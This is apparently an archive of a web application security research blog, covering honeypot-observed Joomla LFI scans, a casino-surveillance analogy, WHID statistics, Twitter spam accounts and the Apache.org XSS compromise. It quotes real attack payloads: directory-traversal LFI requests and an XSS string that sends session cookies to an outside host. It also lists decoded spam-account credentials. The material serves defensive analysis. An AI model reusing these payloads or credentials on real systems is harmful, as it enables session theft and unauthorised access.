Tactical Web Application Security

Mass Joomla Component LFI Attacks Identified

2011-11-18T11:46:00.003-05:00

Joomla Component LFI Vulnerabilities

Joomla has hundreds of Controller components. Check out the Joomla Extension site for examples. Unfortunately, the vast majority of these components have LFI vulnerabilities. The vulnerability details are pretty much the same -

The vulnerable page is "index.php".

The "option" parameter is set to "com_xxxxxx" where xxxx is the vulnerable component name.

Input passed via the "controller" parameter is not properly verified before being used to include files.

By appending URL-encoded NULL bytes, an attacker can specify any arbitrary local file.

Here is an example OSVDB Search Query for a listing of these vulnerabilities.

Honeypot Attack Probes Identified

Our daily honeypot analysis has identified a mass scanning campaign aimed at various Joomla Component Local File Inclusion (LFI) Vulnerabilities. Here are a few example attacks taken from today's honeypot logs:

109.75.169.20 - - [17/Nov/2011:17:48:15 +0900] "GET /index.php?option=com_bca-rss-syndicator&controller=../../../../../../../../../../../../../../../../../../../../../../../..//proc/self/environ00 HTTP/1.1" 404 224
174.122.220.10 - - [17/Nov/2011:00:21:32 +0100] "GET /index.php?option=com_ckforms&controller=../../../../../../../../../../../../..//proc/self/environ00 HTTP/1.1" 404 304 "-" "Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320)"
72.47.211.229 - - [17/Nov/2011:10:14:27 +0900] "GET /index.php?option=com_cvmaker&controller=../../../../../../../../../../../../..//proc/self/environ00 HTTP/1.1" 404 216
180.235.131.131 - - [17/Nov/2011:01:34:54 +0900] "GET /index.php?option=com_datafeeds&controller=../../../../../../../../../../../../..//proc/self/environ00 HTTP/1.1" 404 222

Notice that various components are targeted in the "option" parameter and that the a directory traversal attack is used in the "controller" parameter. The LFI data is attempting to enumerate the OS shell environment data.

Attack Statistics

Number of attacks seen: 1538

Number of unique attack sources: 45

Top 25 Joomla Component LFI Attacker Sources

# of Attacks	IP Address	Country Code	Country Name	Region	Region Name	City
491	180.235.131.131	AU	Australia
95	210.173.154.35	JP	Japan
86	74.50.25.165	US	United States	CA	California	Anaheim
80	91.121.87.48	FR	France
67	69.27.109.40	CA	Canada	SK	Saskatchewan	Saskatoon
58	46.105.98.146	FR	France
58	180.151.1.68	IN	India	07	Delhi	New Delhi
51	67.23.229.237	US	United States	NY	New York	New York
42	64.92.125.26	US	United States	CO	Colorado	Denver
42	182.255.0.200	ID	Indonesia
39	82.192.87.86	NL	Netherlands	07	Noord-Holland	Amsterdam
38	174.122.220.10	US	United States	TX	Texas	Houston
37	178.162.231.59	CA	Canada
36	72.47.211.229	US	United States	CA	California	Culver City
33	122.201.80.95	AU	Australia	02	New South Wales	Sydney
32	174.37.16.78	US	United States	TX	Texas	Dallas
31	64.13.224.234	US	United States	CA	California	Culver City
27	109.75.169.20	GB	United Kingdom
25	65.98.23.170	US	United States	CA	California	San Francisco
25	46.20.45.50	DE	Germany
24	193.106.93.131	RU	Russian Federation
16	85.36.63.35	IT	Italy
11	71.17.4.161	CA	Canada	SK	Saskatchewan	Lloydminster
10	50.73.66.4	US	United States
9	173.245.78.42	US	United States	CA	California	Fremont
8	92.60.124.128	ES	Spain

Joomla Components Targeted

Here is a listing of the various Joomla components that were targeted in today's attacks:

com_bca-rss-syndicator
com_ccnewsletter
com_ckforms
com_cvmaker
com_datafeeds
com_dioneformwizard
com_dwgraphs
com_fabrik
com_gadgetfactory
com_ganalytics
com_gcalendar
com_hsconfig
com_if_surfalert
com_janews
com_jfeedback
com_joomlapicasa2
com_joomlaupdater
com_joommail
com_jshopping
com_juliaportfolio
com_jvehicles
com_jwhmcs
com_linkr
com_mediqna
com_mmsblog
com_mscomment
com_mtfireeagle
com_ninjarsssyndicator
com_onlineexam
com_orgchart
com_pcchess
com_properties
com_rokdownloads
com_rpx
com_s5clanroster
com_sbsfile
com_sectionex
com_shoutbox
com_simpledownload
com_smestorage
com_spsnewsletter
com_svmap
com_sweetykeeper
com_userstatus
com_webeecomment
com_weberpcustomer
com_zimbcomment

Recommendations

If you are running Joomla applications, you should ensure that you are keeping up-to-date on patches and updates.

OWASP Joomla Vulnerability Scanner

OWASP has an open source Joomla Vulnerability Scanner Project that you should check out and run against your site.

OWASP ModSecurity Core Rule Set

The OWASP ModSecurity CRS includes generic directory traversal attack detections which should provide base level protections.

Commercial ModSecurity Rules From Trustwave

We have numerous virtual patches for Joomla applications including these Controller parameter LFI attacks in our commercial rules feed.

What Web Application Security Monitoring Can Learn From Casino Surveillance

2011-08-07T01:06:00.000-04:00

After spending this week at the Blackhat/DefCon 19 conferences, I was struck with this thought - Web application security monitoring could take a few pointers from Casino Surveillance.

Network Security and Banks
Traditional network security seems to have a similar security posture philosophy as brick-and-mortar banks - Keep the bad buys out. For banks, the goal is to keep the money in the vaults to make sure that criminals do not obtain access to it. Network security similarly aims is to keep outsiders from accessing internal systems and ports.

Web Application Security and Casino Surveillance

Web application security and monitoring, on the other hand, is very similar to Casino Surveillance in that the goal is not to keep the bad guys out since - you have to let the people play. The very nature of both a Casino and a web application is to allow people access to the resources. The issue is not as much who you are but rather what you are doing. Yes, there is security at Casinos but they are not guarding the front door and checking IDs to get in the front door. They have to let people in to play the various games and then they need to watch them very closely looking for abnormal behaviors. While there are certain similarities to their operating model, there is a stark contrast to their monitoring capabilities. The overwhelming majority of web applications have not been properly instrumented for logging transactional data and alerting on suspicious behaviors. This is where, I believe, web applications could learn a lesson or two from Casinos.

Surveillance is not a luxury
Implementation of proper surveillance inside a Casino is not a luxury but is actually mandated by law (example Nevada Gaming Commission document on surveillance standards). While the PCI Digital Security Standard (DSS) does outline some audit details in Requirement 10, it still falls short on specific items that should be logged and/or flagged in web transactions. The OWASP AppSensor Project is the closest resource I have found that highlights the types of events that web applications should be logging and alerting on. As good as AppSensor is for describing the types of events to look for, it does not cover HTTP auditing itself.

Proper Coverage
Casino surveillance cameras must be able to observe all aspects of the games including the equipment, staff and players. This includes the table layouts, the rack, chips and even view player's faces. Here is one section that outlines exactly what parts of table games must be covered for surveillance purposes:

STANDARD 2
REQUIRED SURVEILLANCE COVERAGE: TABLE GAMES
1. The surveillance system of all licensees operating three (3) or more table games must possess the capability to monitor and record:
(a) Each table game area, with sufficient clarity to identify patrons and dealers; and
(b) Each table game surface, with sufficient coverage and clarity to simultaneously view the table bank and determine the configuration of wagers, card values and game outcome.
2. Each progressive table game with a potential progressive jackpot of $25,000 or more must be recorded and monitored by dedicated cameras that provide coverage of:
(a) The table surface, sufficient that the card values and card suits can be clearly identified; and
(b) An overall view of the entire table with sufficient clarity to identify patrons and dealer.
(c) A view of the progressive meter jackpot amount. If several tables are linked to the same progressive jackpot meter, only one meter need be recorded.

In typical web application security logging, only a small subset of data is actually logged or reviewed. The data capture by most web servers is not adequate for conducting incident response. For example, most times, request and response bodies are excluded from logging which leaves a gaping blind spot. Anton Chuvakin and Gunnar Peterson have a very good paper entitled "How to do Application Logging Right" that is certainly worth a read.

Combination of recording and live analysis
Casino cameras record all data and this information is stored for later use such as settling game disputes. If there are any problems, they can review the tapes to identify what happened. In addition to the recorded data, all Casinos have staff who are constantly monitoring and moving cameras to zero in on suspicious activity. In web application security monitoring, this is similar to having alerting systems based on rules such as those in AppSensor and then supplementing that with full audit logging. When an analyst identifies an initial event of interest, they can then utilize the full HTTP audit log data for correlations.

Just Doesn't Look Right (JDLR)
Following proper procedures in Casinos is absolutely critical for identifying scams and cheating behavior. When staff or players deviate from these procedures, then something just doesn't look right (jdlr) and the surveillance staff can then call up increased camera coverage to focus in on the suspects. This is somewhat similar to scenarios where web application firewalls have automated learning/profiling and create positive security rules for the expected web application behavior. If a client deviates from this profile, then anomaly events can be generated. It is possible to then increase the audit logging and "tag" these clients actions for recording their traffic.

Two Types of Crimes
Casinos typically have two types of crimes, crimes against the casino and crimes against the patrons. Crimes against the casino might be where scam artists work in teams to distract staff and pass cards between themselves or possible using tools/electronics against the computerized slot machines. In web application security, these would be similar to SQL Injection types of attacks where the attacker is aiming to attack the application itself to steal data.

Casino crimes against the patrons are scenarios where cheaters try and snatch other players chips, etc... In webappsec, this would be similar to XSS/CSRF types of attacks that aim to attack the end user through the web application.

Anyone can be a cheat
It would be fool hearty to only focus on stereotypes when attempting to identify cheats. Cheats come in all shapes, sizes and ages. Once again, it is not who you are but what you are doing. Similarly, in webappsec, while there is some useful IP reputation data that can be used, you must actually review what the web transaction is actually doing in order to be able to identify possible malicious behavior.

WASC WHID Semi-Annual Report for 2010

2010-09-09T09:56:00.006-04:00

The Web Hacking Incident Database (WHID) is a project dedicated to maintaining a record of web application-related security incidents. WHID’s purpose is to serve as a tool for raising awareness of web application security problems and to provide information for statistical analysis of web application security incidents. Unlike other resources covering web site security – which focus on the technical aspect of the incident – the WHID focuses on the impact of the attack. Trustwave's SpiderLabs is a WHID project contributor.

Report Summary Findings

An analysis of the Web hacking incidents from the first half of 2010 performed by Trustwave’s SpiderLabs Security Research team shows the following trends and findings:

A steep rise in attacks against the financial vertical market is occurring in 2010, and is currently the no. 3 targeted vertical at 12 percent. This is mainly a result of cybercriminals targeting small to medium businesses’ (SMBs) online banking accounts.
Corresponding to cybercriminals targeting online bank accounts, the use of Banking Trojans (which results in stolen authentication credentials) made the largest jump for attack methods (Banking Trojans + Stolen Credentials).
Application downtime, often due to denial of service attacks, is a rising outcome.
Organizations have not implemented proper Web application logging mechanisms and thus are unable to conduct proper incident response to identify and correct vulnerabilities. This resulted in the no. 1 “unknown” attack category.

WHID Top 10 Risks for 2010

As part of the WHID analysis, here is a current Top 10 listing of the application weaknesses that are actively being exploited (with example attack method mapping in parentheses). Hopefully this data can be used by organizations to re-prioritize their remediation efforts.

	WHID Top 10 for 2010
1	Improper Output Handling (XSS and Planting of Malware)
2	Insufficient Anti-Automation (Brute Force and DoS)
3	Improper Input Handling (SQL Injection)
4	Insufficient Authentication (Stolen Credentials/Banking Trojans)
5	Application Misconfiguration (Detailed error messages)
6	Insufficient Process Validation (CSRF and DNS Hijacking)
7	Insufficient Authorization (Predictable Resource Location/Forceful Browsing)
8	Abuse of Functionality (CSRF/Click-Fraud)
9	Insufficient Password Recovery (Brute Force)
10	Improper Filesystem Permissions (info Leakages)

Download the full report.

Moving to the Trustwave SpiderLabs Research Team

2010-07-12T15:19:00.002-04:00

Submitted by Ryan Barnett 07/12/2010

As you may have heard, Trustwave has acquired Breach Security! As part of this move, I am excited to announce that I have now joined the Trustwave SpiderLabs Research Team. I am extremely excited to join such a great group of people and to contribute to the team. As part of my job, I will be focusing in more time on updating signatures for Trustwave's WAF products (which includes both open source ModSecurity and WebDefend). I will also be making more updates to the OWASP ModSecurity Core Rule Set (CRS).

Speaking of the CRS, if anyone is going to be out at Blackhat in Las Vegas at the end of the month, please try and come by the Arsenal Event on Thursday morning as I will be presenting the ModSecurity CRS and the Demo page at Kiosk #3.

Hope to see you all there!

Spammers using Twitter's Update Status API

2010-06-21T13:21:00.003-04:00

Submitted by Ryan Barnett 06/21/2010

I was reviewing the logs over at our WASC Distributed Open Proxy Honeypot Project and I noticed some interesting traffic. It looks as though Spammers are using the Twitter API to post their messages to their fake accounts. While the news of Spammers doing this is not new, the WASC honeypots are able to take a different vantage point and correlate account data.

Here is one example Spam posting transaction:

Request Headers

POST http://twitter.com/statuses/update.xml HTTP/1.1Authorization: Basic Sm9oblRNYWxtOm5rdGpjcjEyMw==
X-Twitter-Client-URL: http://yusuke.homeip.net/twitter4j/en/twitter4j-2.0.8.xml
Accept-Encoding: gzip
User-Agent: twitter4j http://yusuke.homeip.net/twitter4j/ /2.0.8
X-Twitter-Client-Version: 2.0.8
Content-Type: application/x-www-form-urlencoded
Content-Length: 161
Host: twitter.com
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Proxy-Connection: keep-alive

Request Body

status=%40ldegelund+why+not+offer+work-from-home+projects++to+your+readers+by+th \
is+terrific+service+-+http%3A%2F%2Fproj.li%2FaOGdjN+Good+Luck%21&source=Twitter4 \
J

Notice the Authorization request header as the Twitter API requires basic authentication. The decoded user credentials are (format is username:password):

JohnTMalm:nktjcr123

Now, looking at this one transaction in isolation doesn't yield much interesting data. What is interesting, however, is that I then did a search for all transactions to Twitter's API for June 21, 2010 and I found many more transactions all from different client IP addresses. I extracted out all of the unique Authorization headers and decoded them:

JohnTMalm:nktjcr123
NicholeFBethune:nktjcr123
LindaCTomas:nktjcr123
ElsieJJanu:nktjcr123
PhyllisLMoor:nktjcr123
CynthiaLMille:nktjcr123
JaniceRKnudson:nktjcr123
harli_lona:nktjcr123
MaryCShahh:nktjcr123
DorothyRFrame:nktjcr123
jeffpadams:nktjcr123
AmyMSiege:nktjcr123
LynJLaw:nktjcr123
SteveMWesle:nktjcr123

Notice anything interesting? They all have the exact same password. Since the password isn't one of the typical dictionary ones where it may be possible to have some users actually use the same password, we can only conclude that all of the accounts are controlled by the same person(s).

Recommendation for web sites

When new accounts are being created, check the new password against some form of hash tracking list to see how many users have that same password. If the password is widely used, then it can either be denied or placed on some form of fraud watch list.

If you check out the twitter pages of these fake accounts, you will see that they all have profile pictures of women (even though some of the account names seem male). This may be an attempt to try and disarm readers and entice them to click on the job/tool related links.

I checked out one of the links. The first URL shortener resolved to a second URL shortener and then onto the final site - DoNanza

$ wget http://proj.li/d62dIW
--2010-06-21 14:18:45-- http://proj.li/d62dIW
Resolving proj.li... 74.55.224.85
Connecting to proj.li|74.55.224.85|:80... connected.
HTTP request sent, awaiting response... 301 Moved Permanently
Location: http://bit.ly/d62dIW [following]
--2010-06-21 14:18:45-- http://bit.ly/d62dIW
Resolving bit.ly... 128.121.254.201, 128.121.254.205, 168.143.173.13, ...
Connecting to bit.ly|128.121.254.201|:80... connected.
HTTP request sent, awaiting response... 301 Moved
Location: https://www.donanza.com/publishers?utm_source=twitter&utm_medium=pbl&utm_campaign=cpb#uexox [following]
--2010-06-21 14:18:45-- https://www.donanza.com/publishers?utm_source=twitter&utm_medium=pbl&utm_campaign=cpb
Resolving www.donanza.com... 74.55.224.82
Connecting to www.donanza.com|74.55.224.82|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: `publishers?utm_source=twitter&utm_medium=pbl&utm_campaign=cpb'

[ <=> ] 11,236 --.-K/s in 0.1s

2010-06-21 14:18:46 (99.4 KB/s) - `publishers?utm_source=twitter&utm_medium=pbl&utm_campaign=cpb' saved [11236]

It seems as though the purpose of these Spam links/accounts is to do some affiliate or click schemes.

Back to the Future - Economies of Scale Techniques from 2008 Still in Use Today

2010-06-15T16:07:00.006-04:00

Submitted by Ryan Barnett 6/15/2010

What is old is new again... While tracking a number of recent stories for the WASC Web Hacking Incident Database (WHID) Project, I noticed a striking trend - many of the current attack trends (Mass SQL Injection Bot attacks, Botnet Herding of Web servers for DDoS and targeted attacks against Service/Hosting Providers), we actually first highlighted back in 2008.

Here are a few recent WHID entries for these three issues -

WHID 2010-115: Mass hack plants malware on thousands of webpages

WHID 2010-123: Botnet hijacks web servers for DDoS campaign

WHID 2010-122: Attack of WordPress Blogs on Rackspace

We highlighted these three specific attack methodologies in the 2008 WHID Report in the "Economies of Scale" section at the end of the the following OWASP AppSec WHID presentation given by Ofer Shezaf. Pay particular attention to the last 10 minutes as all three of these techniques are still relevant today.

Zone-H Defacement Statistics Report for Q1 2010

2010-06-04T10:28:00.006-04:00

Submitted by Ryan Barnett 6/4/2010

Web defacements are a serious problem and are a critical barometer for estimating exploitable vulnerabilities in websites. Unfortunately, most people focus too much on the impact or outcome of these attacks (the defacement) rather than the fact that their web applications are vulnerable to this level of exploitation. People are forgetting the standard Risk equation -

RISK = THREAT x VULNERABILITY x IMPACT

The resulting risk of a web defacement might be low because the the impact may not be deemed a high enough severity for particular organizations. What most people are missing, however, is that the threat and vulnerability components of the equation still exist. What happens if the defacers decided to not simply alter some homepage content and instead decided to do something more damaging such as adding malicious code to infect clients?

Zone-H Statistics Report for 2008-2009-Q1 2010
Zone-H is a clearing house that has been tracking web defacements for a number of years. At the end of May 2010, they released a statistics report which correlated data from 2008, 2009 and the first quarter of 2010. This report revealed some very interesting numbers.

What Attacks Were Being Used?
The first piece of data that was interesting to me was the table which listed the various attacks that were successfully employed which resulted in enough system access to alter the web site content.

Attack Method	Total 2008	Total 2009	Total 2010
Attack against the administrator/user (password stealing/sniffing)	33.141	24.386	10.918
Shares misconfiguration	72.192	87.313	55.725
File Inclusion	90.801	95.405	115.574
SQL Injection	32.275	57.797	33.920
Access credentials through Man In the Middle attack	37.526	7.385	1.005
Other Web Application bug	36.832	99.546	42.874
FTP Server intrusion	32.521	11.749	5.138
Web Server intrusion	8.334	9.820	7.400
DNS attack through cache poisoning	7.541	3.289	1.361
Other Server intrusion	5.655	10.799	5.123
DNS attack through social engineering	6.310	2.847	1.358
URL Poisoning	5.970	6.294	3.516
Web Server external module intrusion	4.967	2.265	1.313
Remote administrative panel access through bruteforcing	9.991	6.862	7.046
Rerouting after attacking the Firewall	8.143	3.107	1.267
SSH Server intrusion	6.231	4.624	4.550
RPC Server intrusion	12.359	5.821	2.512
Rerouting after attacking the Router	9.170	2.671	1.327
Remote service password guessing	6.641	3.252	1.103
Telnet Server intrusion	4.050	3.476	2.562
Remote administrative panel access through password guessing	4.915	1.139	422
Remote administrative panel access through social engineering	4.431	1.502	472
Remote service password bruteforce	5.563	3.658	1.002
Mail Server intrusion	1.441	2.314	1.121
Not available	70.457	87.684	24.493

Lesson Learned #1 - Web Security Goes Beyond Securing the Web Application Itself
The first concept that was re-enforced was the fact that the majority of attack vectors had absolutely nothing at all to do with the web application itself. The attackers exploited other services that were installed (such as FTP or SSH) or even DNS cache poisoning which would give the "illusion" that the real website had been defaced. These defacement statistics should be a wake-up call for organizations to truly embrace defense-in-depth security and re-evaluate their network and host-level security posture.

Lesson Learned #2 - Vulnerability Prevalence Statistics vs. Attack Vectors used in Compromises
There are many community projects and resources available that track web vulnerabilities such as; Bugtraq, CVE and OSVDB. These are tremendously useful tools for gaging the raw numbers of vulnerabilities that exist in public and commercial web software. Additionally, a project such as the WASC Web Application Security Statistics Project which provides further information about vulnerabilities that are remotely exploitable in both public and custom code applications is useful data. All of this data helps to define both the overall attack surfaces available to attackers and the Vulnerability component of the RISK equation mentioned earlier. This information shows what COULD be exploited however there must be a threat (attacker) and a desired outcome (such as a website defacement). The data shown in this report should help organizations to prioritize the remediation of these specific attack vectors.

Lesson Learned #3 - Web Defacers Are Migrating To Installing Malicious Code
Another interesting trend is emerging with regards to web defacements - addition of planting of malicious code. Professional criminal elements of cyberspace (Russian Business Network, etc...) have recruited web defacers into doing "contract" work. Essentially the web defacers already have access to systems so they have a service to offer. It used to be that the web site data itself was the only thing of value, however, now we are seeing that using legitimate websites as a malware hosting platform is providing massive scale improvements for infecting users. So, instead of overtly altering website content and proclaim their 3l33t hax0r ski77z to the world, they are rather quietly adding malicious javascript code to the sites and are making money from criminal organizations and/or malware advertisers by infecting home computer users.

Zone-H outlines this concept at the beginning of their report:

Worms and viruses like mpack/zeus variants also allow some crackers to gather ftp account credentials, but most of the people using those tools do not deface websites, but prefer to backdoor those sites with iframe exploits in order to hack more and more users, and to steal data from them. Iskorpitx for example (but many others do it as well) uses this method to break into hostings, he usually steals credentials with viruses and sometimes even backdoors the defacements for visitors of the defaced sites to be exploited.

BSIMM2 and WAFs

2010-05-27T11:51:00.011-04:00

Submitted by Ryan Barnett 05/27/2010

You may have heard that the Build Security In Maturity Model (BSIMM) version 2 was recently released which helps to document various software security practices that are employed by organizations to help prevent application vulnerabilities. OWASP also has a similar project with its Open Software Assurance Maturity model (OpenSAMM).

I was recently asked by a prospect how a Web Application Firewall fits into these security models and I realized that this was properly documented anywhere. Here are a few direct mappings that I came up with.

Deployment Phase

The main benefit of a WAF is that it is able to monitor the web application in real-time, in production. This addresses some of the limitations of static application assessment tools (SAST) and dynamic application assessment tools (DAST).

BSIMM2 lists the following table to describe Deployment: Software Environment items:

DEPLOYMENT: SOFTWARE ENVIRONMENT OS and platform patching, Web application firewalls, installation and configuration documentation, application monitoring, change management, code signing.
	Objective	Activity	Level
SE1.1	watch software	use application input monitoring	1
SE1.2	provide a solid host/network foundation for software	ensure host/network security basics in place	1
SE2.2	guide operations on application needs	publish installation guides created by SSDL	2
SE2.3	watch software	use application behavior monitoring and diagnostics
SE2.4	protect apps (or parts of apps) that are published over trust boundaries	use code signing
SE3.2	protect IP and make exploit development harder	use code protection	3

Specifically, items SE1.1 and SE2.3 which specify the need to "watch software" in order to conduct application input monitoring and behavioral analysis are items where a WAF's automated learning/profiling can identify when there are deviations from normal user or application behavior.

The Deployment: Configuration Management and Vulnerability Management section lists the following criteria:

DEPLOYMENT: CONFIGURATION MANAGEMENT AND VULNERABILITY MANAGEMENT Patching and updating applications, version control, defect tracking and remediation, incident handling.
	Objective	Activity	Level
CMVM1.1	know what to do when something bad happens	create/interface with incident response	1
CMVM1.2	use ops data to change dev behavior	identify software bugs found in ops monitoring and feed back to dev	1
CMVM2.1	be able to fix apps when they are under direct attack	have emergency codebase response	2
CMVM2.2	use ops data to change dev behavior	track software bugs found during ops through the fix process
CMVM2.3	know where the code is	develop operations inventory of apps
CMVM3.1	learn from operational experience	fix all occurrences of software bugs from ops in the codebase (T: code review)	3
CMVM3.2	use ops data to change dev behavior	enhance dev processes (SSDL) to prevent cause of software bugs found in ops	3

This section highlights a number of critical deployment components where WAFs help an organization.

CMVM2.1 - Be able to fix apps when they are under direct attack

Being able to implement a quick response to mitigate a live attack is critical. Even if an organization has direct access to source code and developers, the process of getting fixes into production still takes a fair amount of time. WAFs can be used to quickly implement new policy settings to protect against these attacks until the source code fixes are live. Most people think of virtual patching here but this capability also extends to other types of attacks such as denial of service and brute force attacks.

CMVM1.2 - Use ops data to change dev behavior

Being able to capture the full request/response payloads when either attacks or application errors are identified is vitally important. The fact is that most web server and application logging is terrible and only logs a small subset of the actual data. Most logs do not log full inbound request headers and body payloads and almost none log the outbound data. This data is critical, not only for incident response to identify what data was leaked, but also for remediation efforts. I mean c'mon, how can we really expect web application developers to properly correct application defects when all you give them is a web server 1-line log entry in Common Log Format? That just is not enough data for them to recreate and test the payloads to correct the issue.

SSDL Touchpoints: Security Testing

The Security Testing section of BSIMM2 outlines the following:

SSDL TOUCHPOINTS: SECURITY TESTING Use of black box security tools in QA, risk driven white box testing, application of the attack model, code coverage analysis.
	Objective	Activity	Level
ST1.1	execute adversarial tests beyond functional	ensure QA supports edge/boundary value condition testing	1
ST1.2	facilitate security mindset	share security results with QA	1
ST2.1	use encapsulated attacker perspective	integrate black box security tools into the QA process (including protocol fuzzing)	2
ST2.2	start security testing in familiar functional territory	allow declarative security/security features to drive tests
ST2.3	move beyond functional testing to attacker's perspective	begin to build/apply adversarial security tests (abuse cases)
ST3.1	include security testing in regression	include security tests in QA automation	3
ST3.2	teach tools about your code	perform fuzz testing customized to application APIs
ST3.3	probe risk claims directly	drive tests with risk analysis results
ST3.4	drive testing depth	leverage coverage analysis

ST1.1 - Execute adversarial tests beyond functional

The other group that really benefits from the detailed logging produced by WAFs are Quality Assurance (QA) teams. QA teams are typically in a great position in the SDLC phase to potentially catch a large number of defects, however they are typically not security folks and their test cases are focused almost exclusively on functional defects. We have seen a tremendous benefit at organizations where WAF data that is captured in production is then fed to the QA teams where they extract out the malicious request data from the event report and they create new Abuse Cases for future testing of applications.

ST3.4 - Drive testing depth

Application testing coverage is difficult. How can you ensure that your DAST tool has been able to enumerate and test out a high percentage of your site's content? Another benefit of learning WAFs is that they are able to create a SITE profile tree of all dynamic (non-static resources such as images, etc...) resources and their parameters. It is therefore possible to export out the WAF's SITE tree so that it may be integrated into the DAST data to be reconciled. I have seen examples of this where the WAF was able to identify various nooks-n-crannies deep within web applications where the automated tools just weren't able to reach on their own. Now that the DAST tool is aware of the resource location and injection points, it is much easier to test the resource properly.

Botnet Herders Targeting Web Servers

2010-05-14T10:28:00.016-04:00

Submitted by Ryan Barnett 5/14/2010

Numerous media outlets have reported on a "new" DDoS botnet that is targeting web servers as zombie participants vs. standard user computers. The motivation for targeting web servers includes:

Web servers are always online where as home computer systems are often shutdown when not in use. This means that the number of botnet systems in control at any one time is variable. This factors into the botnet owner's service offerings as they are often selling their botnet services and having a reliable, strong botnet is key.
Web servers have more network bandwidth than home computer users. This essentially is a Quality of Service metric where commercial web servers are guaranteed specific amounts of network bandwidth usage whereas home computer users typically have much less bandwidth. Additionally, home user network traffic is oftentimes throttled which would make their DDoS attack traffic less.
Web servers have more horse power then home computers. The number of CPUs, RAM, etc... means that commercial servers can generate much more network DDoS traffic then home computer systems.
Web servers are less likely to be blacklisted by ISP vs. home computer systems. This means that web server botnet zombies will be online, sending traffic much longer than home computers.

Essentially, web server botnet participants are like "Super Soldiers" compared to normal grunts in the botnet army.

While the information presented by the media is interesting data, it is by no means a new tactic.

How do I know this? Because we (Breach Security) reported on this exact same concept 2 years ago in our WASC Web Hacking Incident Database Annual Report Presentation Slides.
What we showed was that botnet operators have been using PHP Remote File Inclusion (RFI) attacks to try and exploit web servers in order to download DDoS client code. This will force these systems into participating in DDoS attacks. RFI attacks are still a big problem and a surprising number of sites are still vulnerable even though newer versions of PHP have a more secure default configuration that prevents this exploit from working. As it happens with other types of software, organizations are just not able to upgrade their software in a timely manner to the newest versions that fix the flaws.

It is a shame that the new OWASP Top 10 Most Critical Web Application Security Risks release has removed the old A3: Malicious File Execution category as RFIs were included in it. The stated rationale for removing this is -

REMOVED: A3 – Malicious File Execution. This is still a significant problem in many different environments. However, its prevalence in 2007 was inflated by large numbers of PHP applications having this problem. PHP now ships with a more secure configuration by default, lowering the prevalence of this problem.

While I don't disagree with some of this rationale, the fact is that there are still many, many sites that are vulnerable to RFI attacks and recruiting the compromised web site into a Botnet Army is just one of the possible bad outcomes...

Apache.org Compromised Through XSS

2010-04-14T17:03:00.006-04:00

Submitted By Ryan Barnett 04/14/2010

One of the latest entries into the WASC Web Hacking Incident Database (WHID ), deserves highlighting.

Entry Title: WHID 2010-67: Apache.org hit by targeted XSS attack, passwords compromised
WHID ID: 2010-67
Date Occured: April 9, 2010
Attack Method: Cross Site Scripting (XSS), Brute Force
Application Weakness: Improper Output Handling
Outcome: Session Hijacking
Incident Description: On April 5th, the attackers via a compromised Slicehost server opened a new issue, INFRA-2591. This issue contained the following text:
ive got this error while browsing some projects in jira http://tinyurl.com/XXXXXXXXX [obscured]
Tinyurl is a URL redirection and shortening tool. This specific URL redirected back to the Apache instance of JIRA, at a special URL containing a cross site scripting (XSS) attack. The attack was crafted to steal the session cookie from the user logged-in to JIRA. When this issue was opened against the Infrastructure team, several of our administators clicked on the link. This compromised their sessions, including their JIRA administrator rights.
Attack Source Geography:
Attacked Entity Field: Technology
Attacked Entity Geography: USA
Reference: http://blogs.zdnet.com/security/?p=6123&tag=nl.e539

The end URL destination that the attackers send the Apache admins to was this (with some data obscured) -

https://obscured/path/to/vuln/page.jsp?vulnerable_parameter_name=name;}catch(e){}%0D%0A--></script><noscript><meta%20http-equiv="refresh"%20content="0;url=http://pastie.org/904699"></noscript>
<script>document.write('<img%20src="http://teap.zzl.org/teap.php?data='%2bdocument.cookie%2b'"/>');window.location="http://pastie.org/904699";
</script><script><!--&defaultColor=';try{//

As you can see, the attack is using some html/javascript tricks to force the user's browser to send the "document.cookie" DOM object data off site to the attacker's cookie grabber app (teap.php). The attack payload is using an easy browser trick by placing the javascript data inside of an html IMG tag which makes it possible to bypass the DOM restrictions about different domains access cookie data from other domains.

Here is how the XSS payloads looks if echoed back from JIRA -

<script language="JavaScript" type="text/javascript">
</script><noscript><meta equiv="refresh" content="0;url=http://pastie.org/904699"></noscript><script>document.write('<img src="http://teap.zzl.org/teap.php?data='+document.cookie+'" />');window.location="http://pastie.org/904699";</script><script><!--;
function colorIn(color) {
if (!choice) {
openerEl.value = color;
document.f.colorVal.value = color;
}
}

This attack also highlights the fact that URL Shortener applications (such as tinyurl in this case) can be abused by attackers to hide the destination URL payloads. There was some recent research done by ZScaler entitled "Are URL Shorteners Really Dangerous" however it only focused on malware attacks through URL Shorteners and not XSS attack payloads. As you can see, URL Shorteners are still dangerous as they can dupe and end user into clicking on it as there is no way to tell if the end URL is dangerous or not until you actually click on it. This scenario is another great reason why a browser plugin such as NoScript is so important. As a test, I clicked on the same tinyurl link in Firefox with NoScript and got a warning message and this data was logged in the console -

[NoScript XSS] Sanitized suspicious request. Original URL [https://obscured/path/to/vuln/page.jsp?vulnerable_parameter_name=name;}catch(e){}%0D%0A--%3E%3C/script%3E%3Cnoscript%3E%3Cmeta%20http-equiv=%22refresh%22%20content=%220;url=http://pastie.org/904699%22%3E%3C/nos
cript%3E%3Cscript%3Edocument.write(%27%3Cimg%20src=%22http://teap.zzl.org/teap.php?data=%27%2bdocument.cookie%2b%27%22/%3E%27);window.location=%22http://pastie.org/904
699%22;%3C/script%3E%3Cscript%3E%3C!--&defaultColor=%27;try{//] requested from [chrome://browser/content/browser.xul]. Sanitized URL: [https://obscured/path/to/vuln/page.jsp?vulnerable_parameter_name=NAME%3B%7Dcatch%20e%20%7B%7D%20-%3E%20%2Fscript%3E%20noscript%3E%20meta%20http-equiv=%20refresh%20content=%200%3Burl=http://pastie.org/904699%22%3E%3C/noscri
pt%3E%3Cscript%3Edocument.write(%27%3Cimg%20src=%20http%3A%2F%2Fteap.zzl.org%2Fteap.php%3F
data=%20%2BDOCUMENT.COOKIE%2B%20%20%2F%3E%20%20%3Bwindow.LOCATION=%20http%3A%2F%2Fp
astie.org%2F904699%20%3B%20%2Fscript%3E%20script%3E%20!-&defaultColor=%20%3Btry%7B%2F%2F#376924726542634355].

Thank You NoScript!

Update - I also tested Google Chrome's XSS prevention (comparing inbound payloads with outbound response body data) and it seemed to work as it did not execute the XSS code and the Developer tools console showed this message -

Refused to execute a JavaScript script. Source code of script found within request.

